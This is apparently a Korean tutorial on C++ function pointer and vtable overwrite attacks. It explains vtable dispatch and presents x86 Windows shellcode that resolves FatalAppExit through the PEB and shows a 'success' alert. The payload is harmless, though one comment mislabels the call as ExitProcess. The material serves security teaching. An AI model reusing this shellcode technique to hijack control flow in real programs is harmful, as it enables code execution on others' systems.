객체지향 언어인 C++에서 발생할 수 있는 대표적인 보안 취약점인 함수 포인터 오버라이트와 가상 함수 테이블(Vtable) 오버라이트에 대해 알아봅시다.
함수 포인터 오버라이트는 메모리 손상 취약점을 이용하여 프로그램의 함수 포인터를 변조함으러써 공격자가 임의의 코드를 실행할 수 있게 하는 공격이다. 이 공격은 버퍼 오버플로우나 임의 메모리 쓰기 취약점이 있을 때 발생할 수 있다.
함수 포인터가 저장된 메모리를 공격자가 덮어쓸 수 있따면, 해당 함수 포인터가 가리키는 주소를 임의의 함수로 변경하여 악의적인 코드를 실행할 수 있다. 이것은 프로그램의 제어 하름을 완전히 탈취할 수 있게 만든다.
Vtable은 C++에서 다형성을 구현하기 위해 사용되는 메커니즘이다. 객체의 가상함수 호츌을 동적으로 dispatch 하는데 사용된다. Vtable Overwrite는 이 table 이나 Vtable pointer(vptr)를 변조하여 가상 함수 호츌을 탈취하는 공격이다.
가상 함수는 파생 클래스에서 재정의할 수 있는 함수로, 실행 시간에 적절한 함수를 동적으로 결정한다. 이 메커니즘은 다음과 같이 작동한다.
class Unit {
public:
virtual void Sound() { printf("Unit!\n"); }
};
class Marine : public Unit {
public:
virtual void Sound() { printf("You wanna piece of me, boy?\n"); }
};
위 코드에서 'Unit'과 'Marine' 클래스는 각각 자신만의 Vtable를 가지며, 이 Vtable에는 각 클래스의 'Sound()'함수 주소가 저장된다.
다음과 같이 bof 취약점이 존재하는 C++로 만들어진 프로그램이다.
정상적으로 해당 프로그램을 실행하면 다음과 같은 결과가 나온다.
실습 편의를 위해 주소값을 출력하게 만들었다.
해당 주소에는 다음에 실행될 함수 주소가 저장되어 있는데 해당 부분을 쉘 코드가 있는 부분으로 덮어 쓴다면 Vtable overwrite 공격이 된다.
exploit 코드를 만들어 보면
xor edx, edx ; edx 레지스터 초기화
mov dl, 0x30 ; dl에 0x30 저장
mov edx, [fs:edx] ; TEB(Thread Environment Block) 접근
mov edx, [edx+0xc] ; PEB(Process Environment Block) 접근
mov edx, [edx+0x1c] ; PEB_LDR_DATA 접근
mov eax, [edx+0x8] ; InMemoryOrderModuleList 접근
mov esi, [edx+0x20] ; 모듈 리스트 순회
mov edx, [edx]
cmp byte [esi+0xc], 0x33 ; 모듈 이름 비교
jne 0xf2 ; 일치하지 않으면 반복
mov edi, eax ; 모듈 베이스 주소 저장
add edi, [eax+0x3c] ; PE 헤더 접근
mov edx, [edi+0x78] ; Export Directory RVA
add edx, eax ; Export Directory VA
mov edi, [edx+0x20] ; ExportNameTable RVA
add edi, eax ; ExportNameTable VA
xor ebp, ebp ; 카운터 초기화
; API 이름 검색 루프
mov esi, [edi+ebp*4]
add esi, eax
inc ebp
cmp dword [esi], 0x61746146 ; "Fata" 문자열 비교
jne 0xf2 ; 일치하지 않으면 반복
cmp dword [esi+0x8], 0x74697845 ; "Exit" 문자열 비교
jne 0xe9 ; 일치하지 않으면 반복
; API 주소 획득
mov edi, [edx+0x24] ; ExportOrdinalTable RVA
add edi, eax ; ExportOrdinalTable VA
mov bp, [edi+ebp*2] ; 함수 순서 번호
mov edi, [edx+0x1c] ; ExportAddressTable RVA
add edi, eax ; ExportAddressTable VA
mov edi, [edi+ebp*4-4] ; 함수 주소 획득
add edi, eax ; 실제 함수 주소
; "success" 문자열 스택에 푸시
push 0x00737365 ; "ess\0"
push 0x63637573 ; "succ"
mov ecx, esp ; 문자열 포인터
dec byte [ecx+0xb] ; 널 바이트 조정
xor eax, eax ; eax 초기화
push ecx ; 인자 푸시
push eax ; 인자 푸시
call edi ; ExitProcess 호출![]
해당 expolit 를 이용해서 생성한 txt 파일을 읽으면 다음과 같이 Vtable 의 주소값이 변경된다.
결과는 success! 라는 alert 창이 뜬다.